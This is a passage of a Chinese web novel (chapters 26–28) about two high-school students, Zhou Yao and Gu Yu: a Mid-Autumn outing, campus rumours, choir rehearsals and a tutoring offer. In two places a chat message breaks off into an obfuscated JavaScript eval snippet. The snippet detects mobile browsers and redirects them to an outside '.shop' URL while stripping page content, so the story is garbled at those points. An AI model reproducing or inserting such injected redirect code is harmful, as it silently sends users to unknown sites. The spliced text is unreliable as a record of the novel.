小男孩打着哭嗝:“我也要哆啦A梦的!” 他爸哄他:“知道知道,你就是看人家小姐姐有你眼馋,小跟屁虫。” 机械爪子再次晃晃悠悠地开始移动,顾彧微微俯下身,认真地操作着手中的摇杆,那全神贯注的样子实在少见,就连周窈也没忍住多看了两眼。 毕竟这个家伙,长得是真的帅,更别提他今天穿的这身宝蓝色碎花衬衣,和五颜六色的毛绒玩偶贴在一起,像是周窈不常看的那些偶像剧里的配色。 没一会,顾彧又成功抓上来了一只哆啦A梦,刚刚还眼角还挂泪的小男孩捧着玩偶瞬间就笑开了,奶声奶气说着“谢谢哥哥”,年轻爸爸跟顾彧道谢后很快就把儿子带走了,边走边还边数落:“都是你,又耽误时间了吧,妈妈要等急了!” “走吧。”周窈拽了拽顾彧,但对方没动。周窈绕到他身边,却见他正望着那对父子离开的背影,神情有种说不出的落寞。 类似的表情她曾在顾彧奶奶的葬礼上见过。 顾彧扭头看向周窈:“回去后你家里有人吗?” “没有。”陈娟还在医院忙碌,回家自然是没有人的。 “我家也没人,回去干嘛。”说着,顾彧将视线再次对准了抓娃娃机,似乎还想再玩个几回合。并非是想要里面那些玩偶,无非就是给自己找点事做,打发时间。 周窈看着他,不知怎么突然就想起小时候顾彧一个人站在小区门口等他妈妈过来接他的样子。他爸妈工作都很忙,他爸更是常年都在外地,所以平时他都住奶奶家,只有双休日他妈会接他回自己家住。 而那天,说好要来接他的妈妈没出现,他就一直站在小区门口等,从日升等到日落,他奶奶心疼他,劝他回去也不肯。后来才知道,他妈妈那天临时加了一场手术,就没能兑现承诺,不过那之后,也就再没见过他去小区门口等他妈妈了,好像一夜之间就长到了不再需要父母的陪伴的年纪。 但真的不需要吗? 那些错过的岁月,就像是路面上出现的大坑,你可以跨过去,也可以掩盖它,但它依旧存在,不论过多少年还是横亘在那。 纵然周窈心里一直巴不得周建民死,她也不得不承认,小的时候她还是短暂获得过父爱和母爱的,哪怕现在的陈娟还头脑昏昏沉浸在周建民的谎言里,有时候表现得苛刻又刻薄,但周窈也不敢想象如果有一日陈娟从她的生命中消失,自己该是如何的慌张和绝望。 想到这,周窈朝四周看了看,然后拽着顾彧走进了边上的奶茶店,也没问过顾彧的喜好,自顾自点了两杯最便宜最普通的珍珠奶茶。 还有些发懵的顾彧随便找了张靠窗的桌子坐下,没一会,周窈就端着两杯奶茶过来,并将其中一杯递给他。 “我就买得起最便宜的。”简言之,不爱喝也得喝。 顾彧扬了扬嘴角,接过奶茶插上吸管:“真稀奇,竟然能喝到周条条请客的奶茶。” 话音刚落,又见周窈跟变魔术似的从包里摸出两个月饼,将其中一个递给他。 “中秋快乐,顾狐狸,还有哆啦A梦的谢礼。” 少女眸光清澈而明媚,大方又坦荡。 顾彧举起奶茶碰了上去:“中秋快乐,周条条。” 一块别人给的月饼和一杯最便宜的奶茶,坐在街边不起眼的奶茶店里,两小孩的中秋“大餐”看起来如此寒酸,但身在其中的两人似乎完全不这么觉得。 喝了两口奶茶,周窈有些迫不及待地拆开了月饼,毕竟是很贵的牌子,她着实好奇这个月饼的味道。但只咬了一口,她脸色就僵住了…… 果然不管是什么月饼,都一样的甜得发腻。可中秋节就是要吃月饼的,哪怕只是个形式,更重要的是这个月饼真的很贵,岂可浪费! 勉强将月饼塞进肚子里,又喝了口奶茶,甜上加甜更齁了扭头看了一眼边上将奶茶也喝见底的顾彧,周窈眼神瞬间像是看到了什么奇怪的东西。 “你不觉得齁得慌吗?” “没有啊,挺好吃的。”顾彧此时正撑着头望着窗外的车水马龙,闻言朝周窈看过来,见她一脸苦哈哈,就知道她吃不了太甜。 果然,周窈又尝试性地喝了两口奶茶之后,就再也喝不下了,总觉得那些糖分都在她嗓子眼结晶了。可奶茶是她花钱买的,不喝又浪费 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但顾彧并未介意,反倒噼里啪啦说起海市的事来:“听说他们在海市买了一套房子,但房子是大是小,在什么地段,这些我都不知道。”说话间,顾彧依旧看似松闲地撑着下巴望着窗外,手里则一下下捏着早已喝空了的奶茶,发出咔咔声响。 “那你妈不来,你也可以去啊。” “我去了她也不在,据说是带队到外地学习去了,具体去哪里,去多久,我也不知道。” 看似好好一家人,却跟陌生人无异。 周窈撇了撇嘴,心里虽能体谅,但依旧觉得顾彧处境比自己好得多,毕竟顾彧爸妈虽然不常来看他,但给足了钱啊!他们还是小学生那会,顾彧就有大把零花钱可供他挥霍了,现在更不会缺。如果她妈也能这么有钱,一年见一次都行! 事实再次证明,人类的悲欢并不相通。 “你到底什么时候转去海市?” “我以为你都不会问我了。”顾彧偏头看她:“暂时不去了,已经和我妈说过了。” 周窈长叹一口气:“哎,海市那么好你都不去,要是换做我,肯定能走多远走多远了。” 顾彧有些好笑地看了她一眼:“你走到哪里都记得告诉我一声。” “干嘛?”周窈瞪他。 顾彧眨眨眼:“我去找你啊。” “跟屁虫。” 窗外天色已经完全暗了下去,漆黑的夜空因为城市的光污染,连一颗星星都看不到。 周窈明天还要去医院给陈娟帮忙,晚上还要抽时间做作业,也没什么功夫在外闲逛,便拖着顾彧回家了。 回家后,周窈没再耽搁时间,立即掏出卷子做了起来,只是在此之前,她还不忘将哆啦A梦好好地放在了自己的书桌上。 写完一张卷子,眼睛干涩。 抬起头便一眼看见正冲她大笑的蓝胖子,疲惫的内心逐渐充盈。 虽然不多,但她觉得当年那个幼小又无助的自己,似乎有被这只蓝胖子穿越时空抚慰到。 想到这,她拿起手机对着大笑着的蓝胖子拍了张照,并设置成了自己的头像。 希望哆啦A梦能保佑周条条,和大雄一样Lucky。 就在周窈换头像这会,企鹅群里突然热闹起来,起因是一段密室逃脱的视频传到网上之后,引起了一中人的注意,还被转到了空间。 【周窈这明显是在追顾彧吧,都壁咚他了!】 【好好好,顾彧追随者再添一员,于奥琪和荣子涵要小心了。】 【周窈是谁啊?】 【九班“首富”。】 【不是,这也太心机了吧,直接拖着顾彧去做CP任务?!】 【没准是人家顾彧乐意的呢?】 【那不可能,校草这么多年来一直守身如玉,没听说他和哪个女生走得近。】 【他甚至跟男生的关系都一般般。】 【你们都忘了上次香飘飘大捷的第一枪是怎么打响的吗?】 【少造谣!心脏看什么都脏,帮助受欺负的女同学也要被理解为是有一腿吗?】 【退一万步说,就算校草要找人谈恋爱,那为啥不找于奥琪?】 【我就想知道这个周窈是怎么约到顾彧的。】 …… 【吵这么多页,你们难道忘了一中禁止早恋吗?】 【……】 【于奥琪哭晕在厕所。】 【我们家子涵终究还是输给了校规。】 【我赌周窈赢!】 【滚!】 26. 谣言 结束了三天的假期,周窈返校,她昨天替陈娟看了一晚,今天直接从医院到学校,自然也没和顾彧一起上学。 刚进教室,就跟荣子涵打了个照面。虽说小公主平时就挺看不上周窈的,但今天不知怎么了,直接丢了个冷哼过来,然后翻着白眼走了。而紧接着,又是一阵起哄声。 “哟!女主角来啦!” “牛逼啊葛朗台!” “你们不懂,这就叫近水楼台知道吧!” 周窈一头雾水。 代薇子朝她招手:“别看啦,你火啦。” “啊?”周窈满脸疑惑。 代薇子补充:“现在全校都传你在追顾彧。” 说完一把拿过蒋煜的手机,指着上面的视频给周窈看。 视频标题也挺劲爆:“分手局,十对情侣进来,分了九对,但总有一对是例外。”点开一看,正是前几天他们玩过的密室逃脱里女寝那Part。 还真别说,从视频里来看,女鬼趴在上铺,黑长直缓缓垂下的画面确实很吓人,也正如视频标题所言,那些进来做任务的年轻的情侣里,大部分都是各自逃命,毫不顾及对方死活,坐实了“分手局”的名号。 猝不及防,自己和顾彧突然出现在屏幕里。 周窈一脸尴尬地将手机推开,透过上帝视角看自己,还挺奇怪的。 “别啊,你继续看啊,后面老精彩了!”代薇子把手机又推回去。 周窈低头,此时视频正放到周窈奔向顾彧的画面。就见原本还在门边捣鼓密码锁的顾彧,一回头就跟女鬼面对面,而下一秒,周窈就挡在了他前面,随后一掌按在他胸口,直接来了一个壁咚。 弹幕里刷了满屏的“女友力”。 【玩过,已分,我前女友直接一脚把我踹出去喂鬼……】 【心疼楼上。】 【心疼楼上。】 【男人怎么都这么没用,一个个怕得要死,还要小姑娘保护。】 【这身高差我爱了,虽然灯光很暗,但看得出男生很帅。】 【我男朋友自己开门跑了不说,他还关门,把我跟女鬼关一起!我正在考虑分手了……】 【前面的男人怎么不叫了?】 周窈看着视频眉头紧皱:“视频这么黑了,还能认出是我俩?” 蒋煜气得捶桌子:“这是重点吗?!” 周窈眨了眨眼睛。 蒋煜指着画面嚷嚷:“我还当你们是和好,没想到你竟起了歹心!背着我们勾搭顾神!休要坏我们顾神道心!我们顾神修的是无情道!” 周窈翻了个白眼:“你脑补过头了吧,不是因为你们都不肯去寝室我们才去的吗?”说着伸手一指顾彧:“而且凭什么是我追他啊?!” 顾彧一脸无辜:“因为视频里是你壁咚我啊……” “我明明是救你!”周窈简直无语:“真是好人没好报,早知道就把你丢在那里了。” 顾彧嘴角都压不住了:“嗯,多谢条条。” 几人再次对周窈的脑回路感到无语,代薇子更是直接“放弃治疗”:“算了吧,她还没开窍呢。别说我没提醒你啊,好多人都在打听你呢,你可是一夜爆红,瞬间成了万千少女的假想敌了。” 这番话周窈听懂了,她撇撇嘴坐下,似乎是料到早有这么一天,毕竟她小学时就开始帮顾彧传情书了,她都习惯了,压根没放在心上,坐下来专心该背书背书,该做题做题。 见正主都不上心,边上几位看客也都散了。唯独顾彧,看了一眼周窈的背影,嘴角忍不住上扬。 状况外的周条条,还怪可爱的。 纵然周窈没把这件事放心上,但麻烦依旧找上门来。 午休时,“消失”了一段时间的于奥琪再次出现,本以为她又是来找顾彧表白的,却没想到她把周窈给叫了出去。 “你跟顾彧在交往?”于奥琪一脸的不服气。 周窈瞥了一眼窗台上“蹲”满的围观人群,淡淡道:“没有。” 于奥琪似有些不信,对着周窈上下打量了一番:“那你是在追他?” “也没有,我们就是同学关系。”周窈逐渐有些不耐烦,不明白为什么要为了回答这种无聊问题而耽误她刷题。“你问完了吗?我还要回去做作业。”说着转身就要走。 “呵,我想也是,顾彧不会看上你这样的!” 脚步一顿。 周窈回头:“你什么意思?” 边上看热闹的同学忍不住插嘴:“葛朗台·周,她嘲讽你不够漂亮!这都听不出来?!” “要你多嘴,烦人!”代薇子没忍住回喷对方,而起哄声却越来越大,隐隐还夹了几声“撕起来”。 周窈虽然从没觉得自己漂亮,但也不认为别人可以拿外貌来攻击她。 “你长得倒是挺漂亮的,就是世界观太狭隘,你的世界里只装得下顾彧吗?”想了想,觉得不够狠,又补了一句,“就算你长得漂亮,顾彧也没喜欢上你啊,听说你被他拒绝三次了?” “因为这种事找别人麻烦挺没品的,好好的女孩子为什么要围着男人打转?你上学期末考了多少分?高考稳了吗?能进985211吗?” 一连串的输出,不仅于奥琪晕了,边上看热闹的同学也懵了。 “我考不上985211你就能考进了吗?” “我考不进。”周窈如实回答:“所以我现在要回去学习了。” 周窈并不“恋战”,怼完之后便直接走人了。 于奥琪被劈头盖脸训了一顿,自然气不过,指着周窈的背影就要骂,却被抱臂倚在门边的顾彧用眼神喝止了。 虽然面无表情但于奥琪依旧从他脸上看出了愠怒。不过继上次被冷漠拒绝后,她给自己做足了心理建设,这次非但没哭,还冲上前去跟顾彧放狠话。 “顾彧!这次国庆大合唱我们班要是拿了第一,你就要跟我交往!” 顾彧眉头皱起,不明白这两者之间的关联:“你们班拿第一关我什么……事……” 话音未落,荣子涵又突然从班级里冲出来:“想得美!第一肯定是我们九班的!而且就算你们班赢了又怎么样,顾彧也不会跟你交往!” 吃瓜群众面面相觑:“咱们家子涵和于奥琪有仇?” “这都不懂,情敌啊!” “好家伙,三国鼎立,三国杀呗。” “那顾彧是和氏璧是吧?” “懂不懂历史啊,和氏璧那是战国!” 又有人跳出来问:“子涵,大合唱是怎么回事啊?” 荣子涵不搭理,专心和于奥琪对线:“你不是跳芭蕾的吗?合唱关你什么事啊,你领唱吗?” “我就领唱怎么了?你有本事你也上去唱!我们PK!” “笑死了,我参加合唱团去省里比赛的时候你还不知道在哪呢!” “说得好像谁没去省里比过赛一样,我全国青少年芭蕾舞三等奖!” “才三等奖,为什么不是一等奖啊,是奖杯太重捧不动吗?!” “你那么厉害顾彧和你交往了吗?” 周窈:怎么还抄我词呢? 两个女生在走廊上吵得不可开交,顾彧本就是为了替周窈找场子才出去的,这会发现没自己事了就想回来,刚转身就对上周窈的眼神。 满是怒气的一声“滚”之后,顾彧乖乖回到走廊里“罚站”去了,只是这人向来站没站相,还没过三十秒,站就变成了靠,靠又变成了挂,半个身子都要探到栏杆外面去了。 不一会,周窈手机就震了下。 【顾^^彧:在我心里,周条条是最漂亮的!】 周窈看了一眼,没回。过一会手机又震。 【顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460798|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ^^彧:条条,外面风好大,我可以进来了吗?】 【不是葛朗台是世界首富:滚远点。】 【顾^^彧:好嘞!】 正和荣子涵激情对线的于奥琪看到风暴中心的顾彧竟然靠在栏杆上发消息,还一脸笑意!敏锐地往九班教室里看去,果然!周窈也在玩手机! 前脚还否认两人没什么,后脚就在她眼前“眉来眼去”! 于奥琪气坏了,也顾不上还在和荣子涵吵架了,将手里的东西撒气似的往顾彧身上一扔。 “你太过分了!咱们走着瞧!” 说完转身跑了。 顾彧捡起怀里的东西一看,一块巧克力。 “太感人了,段花都被气成这样了,还不忘投喂你,真是情比金坚……”蒋煜摇头晃脑从窗台上下来。 而向来不收礼物的顾彧拿起那块巧克力看了看,竟意外地揣了起来。 教室里,荣子涵已经迫不及待站上讲台开始宣布迎国庆大合唱比赛的事了。 “这次大合唱,是为了迎接即将到来的祖国生日,高一高二所有班级都要参加。” 讲台下,周窈撕开巧克力的包装,直接开吃,还不忘掰了一块分给代薇子。 蒋煜一眼认出这是刚才于奥琪送给顾彧的那块,也不知道怎么就到了周窈那了。 “这不是人家段花给顾神的的吗?葛朗台·周你的醋劲已经这么大了吗?!一块巧克力都容不下?!” 周窈不答,只翻了个白眼。 顾彧收到“讯息”小声解释:“黑巧,我不爱吃。” 蒋煜啧啧摇头:“人家段花对顾神的爱啊,就被你们糟蹋了。” 周窈一脸理所当然:“他又不吃,扔掉岂不是更糟蹋。而且于奥琪如果真这么喜欢他,怎么会不知道他喜欢吃甜的啊?” “是哦!”蒋煜恍然大悟,随即一脸可惜地望着顾彧:“没关系,我现在就去告诉于奥琪,你喜欢吃甜食。 顾彧挑眉:“我下车队了。” 蒋煜一秒认怂:“别呀!我开玩笑的,学霸,校草,顾神,哎哟打野哥哥……” 代薇子搓着鸡皮疙瘩回头怒骂:“恶心死了。” 被忽视的荣子涵狠狠拍了几下讲台:“都别说话了!现在开始提名我们的合唱曲目!” 刚刚还散漫吵闹的学生们瞬间来了劲,主打就是一个瞎说。 “我提议!《踏山河》!” “庸俗,我来一首‘钢铁洪流’!” “爱国党肯定是《追梦赤子心》啊!” “你考试及格了没啊就爱国,祖国不养小废物!” “别吵吵了,都听我的,我点一首《大鱼》!” “《孤勇者》!肯定是孤勇者!我领唱,为你孤身走暗巷,为你$&*%#^=……” “词都记不清,滚吧滚吧,下一个!” 荣子涵清了清嗓子:“我选了几首曲目,大家可以参考一下。《龙的传人》《走进新时代》《茉莉花》。” “什么呀,老土。” “咱都已经在新时代了,还走到哪去啊?” 蒋煜大笑:“这你们还看不出来吗?咱们家子涵早就选好啦!还真以为你们有权利参与选曲啊?人家才是文艺委员好吧。” 一番吵闹过后,大合唱曲目敲定。 《茉莉花》,荣子涵女声领唱。 男生们集体蔫了。 “要不你直接上去独唱算了,还合唱个毛线啊!” 向来对集体活动不怎么感兴趣,参与度也很低的周窈自然是毫不关心选曲的事,不过大合唱,要唱歌的诶,某人身上的光环岂不是要幻灭了? 她扭头一脸看戏的表情望着顾彧:“哎,大合唱,你怎么办啊,你不是五音不全吗?” 顾彧眨眼:“自然是求周老师一对一辅导啊。” 27. 领唱 涉及到全校比赛,那必然是重中之重,于是才刚开学不到三周,不仅午休用来练歌,自习课也被征用了,男生们本就心不甘情不愿,唱歌的时候更是无精打采,能偷懒就偷懒。 作为领唱兼负责人的荣子涵看着这一片歪七扭八,拿着教鞭就是一顿输出:“都好好练!别到时候在全校面前出糗!” 男生们:“你都唱破音了还管我们练不练呢?” 荣子涵独唱的部分高音一直上不去,练了好久也没有改善,此时变成了大家笑话她的把柄。 “我们家子涵这次是要跟于奥琪打PK的,你们能不能胳膊肘别往外拐?” “就是的,别唱衰我们家子涵,人家已经很努力了你们懂不懂?她现在已经从鸭子叫进步成大鹅叫了!” “鹅鹅鹅饿鹅鹅……” “是谁?谁谁笑出了鹅叫?告诉你我不允许啊!这个班级里只能有一只鹅,那就是我们家子涵!” 荣子涵恼羞成怒:“你们难道就唱得很好吗?好好一首《茉莉花》,唱得像狗尾巴草!” 蒋煜嬉皮笑脸:“我们家子涵怎么还搞物种歧视呢,狗尾巴草就不是植物啦?人家也郁郁葱葱勃勃生机好吗?” 荣子涵见怼不过男生,气得跺脚,男生们见她破防连连哄笑,动静却引来了史芬。 史芬背着手站在教室门口:“怎么回事,其他班级都安安静静就咱们班乱哄哄一片!就你们长嘴啦?!” 蒋煜举手:“报告史老师,荣子涵高音唱不上去,我们申请换领唱!” 史芬闻言看了一眼荣子涵,也没着急拍板,只让她带着所有人把《茉莉花》从头到尾唱一遍。而这一次,荣子涵的高音依旧没唱上去,眼神顿时就忐忑了起来,还显得有些楚楚可怜。 但毕竟是全校性质的比赛,在人选方面还是要慎重些,于是史芬建议大家推选唱得好的女生来担任领唱。 换言之,荣子涵确定是要被换掉了。 一向骄傲的小公主哪受得了这个,回座位上趴着就哭了。她一哭,其他有想法的女生也都不敢表态了,毕竟这相当于明着给荣子涵甩脸子了,而荣子涵在班里又有一帮好姐妹,生怕得罪了她,谭欣事件又要重演。 所以即便史芬问了好几遍,也没人敢自荐。 一片沉默中,突然爆出一句:“史老师,周窈唱得挺好的。” 周窈猛一回头,就看见顾彧高高举起的手。 周窈怒目,顾彧却朝她眨了眨眼。 边上蒋煜一派天真:“哎,阿周你还会唱歌啊?” “我不会。”周窈低头否认。 “她会,她唱得很好。”后面顾彧无视周窈的警告继续拱火。 史芬显然也有些意外:“周窈,你唱一遍试试?” 被班主任点名,周窈只得放下手里的卷子,老老实实地将这首《茉莉花》从头到尾地唱了一遍。 听完这尚带着一丝稚气的清亮女声唱完整首歌后,史芬惊喜地点了点头:“就由你来领唱吧。” 周窈下意识拒绝:“不了吧史老师,荣子涵唱得挺好的……” 史芬瞪她一眼:“怎么一点集体荣誉感都没有,这个时候就该勇敢地挑出来挑大梁!” 周窈:…… 一下课,男生们还没心没肺地围着荣子涵起哄,气得她夺门而出。 一片笑闹声中,顾彧伸出食指戳了戳周窈的背,语气羡慕:“领唱诶,不知道能不能甩于奥琪十条街。” 周窈回头嘲讽:“能不能甩于奥琪不知道,甩你十条街肯定是绰绰有余。” 蒋煜揽着李铭轩围过来:“哟,葛朗台·周要接替我们家子涵和于奥琪背水一战啦!于奥琪可是我们李哥的女神,葛朗台·周你嘴下留情啊!” 李铭轩听完直接给了他一肘子:“滚吧你。” 窗户外,刚好路过的史芬将这一幕收入眼底。 放学,周窈收拾了东西正准备回家,谭欣就过来通知她,说是史芬让她去一趟办公室。 顾彧问:“要不要等你?” 周窈:“爱等就等。” 去办公室的路上,周窈免不了心里一阵忐忑,她最近也没犯什么事,史芬叫她去干嘛?到了办公室,史芬正在那打电话,周窈就站在边上等了一会。 电话那头似乎是个学生家长,就听史芬说着:“他其实挺聪明的,就是不肯学……是,上学期期末成绩我看了,不是很理想……这就是态度问题,如果现在开始努力,还是有希望的,哪怕上个好一点的大专呢……到了社会学历还是很重要的……是啊,到时候又是家长得想办法了。” 东拉西扯了一会后,史芬朝周窈招了招手,一边和电话那头说着:“那就先这样,学生来了,我找她先聊聊,晚点给你答复。嗯,嗯,好,再见。” 见史芬挂了电话,周窈上前做乖巧状:“史老师,您找我?” 和周窈的略有些紧张不同,史芬倒是笑眯眯的:“找你聊聊,最近学习任务重不重?时间紧不紧?” “还好,还有时间能做些课外习题。” “嗯……”史芬斟酌了一下:“你现在家里情况怎么样?学习和生活上有什么困难吗?” 高一的时候,周窈曾经申请过贫困生补助,但因为周建民的问题,最后没能申请下来,所以她的情况,史芬是知情的。 所以此时周窈也没什么好隐瞒的:“我想参加宁市的冬令营,史老师你知道需要多少费用吗?” “冬令营?”史芬想了下:“去年的冬令营好像一共十五天,费用……三四千吧。” 三四千…… 可现在她手上只有三四百,还是这个月的伙食费。 史芬看周窈脸色渐渐黯淡下去,开口切入重点:“今天叫你来,就是想问问你,有没有兴趣给别人补课,当然,肯定是有报酬的……” 听到有钱赚,周窈眼睛倏地又亮了起来:“给谁补课?小学生吗?” 史芬没回答,只问:“每天放学后补一个半小时,一次五十块,行不行?” 周窈顿时化身人性计算机,飞速算了起来。按照每个月上课二十天算,岂不是一个月就有一千块?等这个学期结束,她就能攒齐去冬令营的费用了! 几乎都不用考虑,周窈立马答应下来。 “你仔细考虑一下,主要是时间上,不要耽误你自己的学习。” “没关系,我可以跟他一起学习!” 开玩笑,这钱都送到她嘴边上了,不赚她还是人吗? 史芬似乎猜到她的反应,无奈地看了她一眼后,再度出言提醒:“这个事,学校肯定是不鼓励不允许的,我给你开这个口子,你不要给我乱搞,听到没?” “嗯嗯!”周窈拼命点头。 史芬继续说道:“还有,你想去冬令营,想上进的这种精神肯定是值得鼓励的,但你不要本末倒置,冬令营不是有钱就能进的,是要凭分数硬碰硬考进去的,你别为了攒钱,反而把学习落下了。其实你只要能考进去,钱反而是最好解决的事,到时候老师这边帮你凑就是了。” “史老师……” 史芬这一番话,着实让周窈惊住了。 说实话,高一那会她贫困生补助没申请下来,她多少是有些埋怨史芬的,觉得她没替自己争取,但现在…… 史芬大手一挥:“行了行了,考上了吗?就整这出。” 周窈不好意思地笑了笑。 史芬和她已经说得差不多了,就招手叫进来一个学生:“把李铭轩给我叫来。” 周窈一听,问:“要补课的是李铭轩?” 史芬点头:“他考进来那会成绩不错的,但不知道为什么高一一年就变成吊车尾了。他爸妈也是愁得不行,给他报了各种补习班他也不去,上课不听作业不做,考试给你交白卷。我看你和他们关系挺好,帮我多劝劝他。” 没一会,李铭轩就来了,后面还跟着来看热闹的蒋煜。 原本两人还想着不会是他们偷偷去网吧又被史芬知道了吧,却没想到史芬应李铭轩他妈的要求,找了周窈来辅导他学习。 一听是这事,李铭轩几乎掉头就走。 “你干嘛去?!你给我站住!”史芬也没想到他会这么抗拒,“干什么啊,考倒数很光荣是吧?书是读给自己的,不是读给爸妈的!有这个资源还不好好珍惜,以后打算进厂拧螺丝钉啊?” 但李铭轩即便老实地站在原地挨训,也半点不愿松口。最后史芬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460799|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都劝累了,嗓子都说干了,只能让他先回去,自己端着保温杯灌水。 眼见着到手的钱又要飞了,周窈也说不出的气闷。 回去时教室里已经没有人了,只有顾彧还坐在那写卷子,见她垂头丧气回来,便问:“怎么了?” 周窈:“哎,别问了,煮熟的鸭子飞了。” / 李铭轩不接受补习让周窈很是为难,仿佛一个钱袋子就在你面前,但你够不着,不免唉声叹气的发愁。但周窈到底不是会轻易放弃的人,尤其是在赚钱这件事上,于是一连好几天,就见原本并不熟识的周窈总跟在李铭轩屁股后头转,搞得李铭轩一看见周窈就躲着走。 班级里谣言四起,说周窈移情别恋,甩了顾彧去追李铭轩了,就连荣子涵,这几次大合唱排练时,对周窈的态度都好了许多。 课间操结束,顾彧双手环胸地看着周窈追着李铭轩跑远的背影,一脸不爽。 他随手抓了蒋煜过来问:“那天在史芬办公室,他们都说什么了?” 蒋煜:“我也也没听全,好像是史芬让周窈给李铭轩一对一辅导。” “辅导?”顾彧挑了挑眉,“还一对一?” 周窈都没有一对一教过他唱歌。 “对啊。”蒋煜道:“不过李铭轩好像不太乐意,其实吧,我感觉他对他爸妈的安排,都挺抗拒的。上周末他不是约我一起去打球么,打一半他爸妈俩人来抓他,把我吓够呛,后来才知道原来那天他逃了他爸妈给他安排的补习班,还是德语补习班!那玩意巨贵!” 不远处,跟丢了人的周窈又折了回来。 蒋煜还在念叨:“也不知道他爸妈让他学德语干嘛,是不是要送他出国啊?”可说完再一抬头,刚刚还在身边的顾彧就不见了,朝远处看,此时跟在周窈身边的,不是顾彧还能是谁。 “啧。”蒋煜摸着下巴分析了一把:“搞了半天,你们玩三角的啊。” 这周轮到周窈他们小组值日,打扫完毕后,其他人都迫不及待放学走了,周窈则慢悠悠整理着今天的作业。她没走,顾彧自然也没走。 “听说史芬让你给李铭轩一对一辅导?”顾彧问。 “对啊,不过他不肯。”提到这茬,周窈气又不顺了,回头仔细跟顾彧掰扯:“一天五十,一周五天,一个月就是一千多!但现在都没了……” 身后,顾彧突然双手撑着桌子凑过来。 “那周老师,他既然不补课,那我的补课什么时候开始啊?” “你补什么课?”周窈突然回头,顾彧的身子还没收回去,就感觉到自己脸颊似被什么东西轻柔的擦过。 教室里气氛顿时僵住了。 周窈捂着嘴,不知道现在是不是该说一声“对不起”,眼看着顾彧耳廓一点点变红…… “你们干嘛呢?” 两人吓得一激灵,往门口看去,就见史芬拧着眉头望着他们。 “怎么这么晚还没走?” 周窈一脸紧张,不知该如何作答,更不知道刚刚那一幕史芬看见了没有,要是怀疑他们俩早恋,又得挨一顿骂。 恐慌之中,就见顾彧神态自若:“让周窈教我唱歌呢。” 周窈愣了一下,随即突然明白过来,原来他刚刚说的“补课”,也是指这个,顿时“噗嗤”一声笑了出来。 史芬一脸狐疑。 周窈解释:“史老师,是真的,他五音不全……”说罢用手肘捅了捅顾彧,“你给老师唱一个。” 顾彧也不扭捏,照着歌词就把整首《茉莉花》唱了一遍。两分钟后,史芬的眉头皱得更深了。 她摆摆手:“那个……算了,你,对口型吧。”说完,她又催促:“外面快下雨了,你们赶紧回家。” “好的史老师,我们这就走了。” 出了校门,周窈憋着笑问顾彧:“你还要补课吗?” 顾彧伸了个懒腰,露出少年人一截细薄腰肢:“我都有免死金牌了还补什么课?史老师御批,我可以对口型。” 周窈噗嗤一声又笑了出来。 取了车,两人并排迎着最后一抹夕阳回家,身后的乌云好像都追不上他们似的。而教室里那个意外的触碰也就这样揭过,没人再提。 28. 白裙子 周窈这几天可谓是体会了一把什么叫心累,李铭轩没劝动,练得好好的大合唱也有波折。 荣子涵到底是不甘心自己出风头的机会被周窈抢走,今天练着练着,突然就抱了一台电子琴进来,说要改成钢伴奏,于是又得重新排练,就连排队形时也幺蛾子。 由于身高原因,顾彧和朱鑫纬一起站在了第三排的最中间。敌人见面分外眼红,起码朱鑫纬是这样认为的,于是在完整排练了一遍之后,朱鑫纬大声向史芬举报。 “史老师,他假唱!” 话音刚落,所有人都朝他们这边看了过来,包括周窈。 史芬皱着眉头看去,在发现朱鑫纬举报的人是顾彧后,嘴角微不可查地抽了抽。 “他不用唱。” “为什么他不用唱啊!”朱鑫纬强烈不满:“第一名就不用出声吗?那我体育第一,我也不唱。” 史芬刚想说什么,就见顾彧挑着眉对朱鑫纬道:“你唱一遍。” “什么?”朱鑫纬都怀疑自己听错了。 但顾彧依旧重复:“你唱一遍。” 朱鑫纬不明白顾彧什么意思,但看起来好像是要和自己“单挑”,于是拿起谱子:“唱就唱。” 也没伴奏,他自己就这么清唱起来。 正如荣子涵之前说的,好好一首《茉莉花》,被他唱得一股狗尾巴草味。不过好歹大部分还是在调上的,只是朱鑫纬是个大白嗓,不知道怎么运用气息,每一个字都像是吼出来的一样,可想而知他的声音在队列里是多么不和谐了。 他唱完,又一脸挑衅地看着顾彧:“我唱完了,到你了。” 半分钟后,朱鑫纬为自己的无知而感到极度懊悔。 天外有天人外有人,朱鑫纬的《茉莉花》好歹还在植物范畴,顾彧的茉莉花,你真的不知道他在唱个什么东西,而且竟然会如此难听! 在捂着耳朵也无法抵御顾彧的这把毒音后,众人纷纷投降。 “人家好歹是鲜花插在牛粪上,你们是牛粪垒在牛粪上,一坨更比一坨强啊!” “我艹了啊!我终于知道上帝给他关上了哪一扇窗了!” “顾神!求别开腔,自己人啊!!!” “一对活爹!” “我宣布,你们就是歌坛的瑜亮!” “去内娱吧,九班容不下你们这两尊大佛!” 史芬扶额:“行了行了,你们俩都对口型吧。” 大家欢乐之时,周窈也没忍住回头看了一眼,正巧和顾彧对上眼,对方颇有些得意地向她抬了抬下巴,周窈呿了一声,也不知这人在得意什么,伤敌八百自损一千。 解决了这对“卧龙凤雏”,排练继续进行。 又排练了几遍,唱到周窈觉得自己嗓子都哑了,但荣子涵还在那一个音节一个音节地抠细节,铁了心要拿下第一名了。 后排,蒋煜忍不住和李铭轩悄悄讲小话:“咱们家子涵还挺有指挥样呢。” 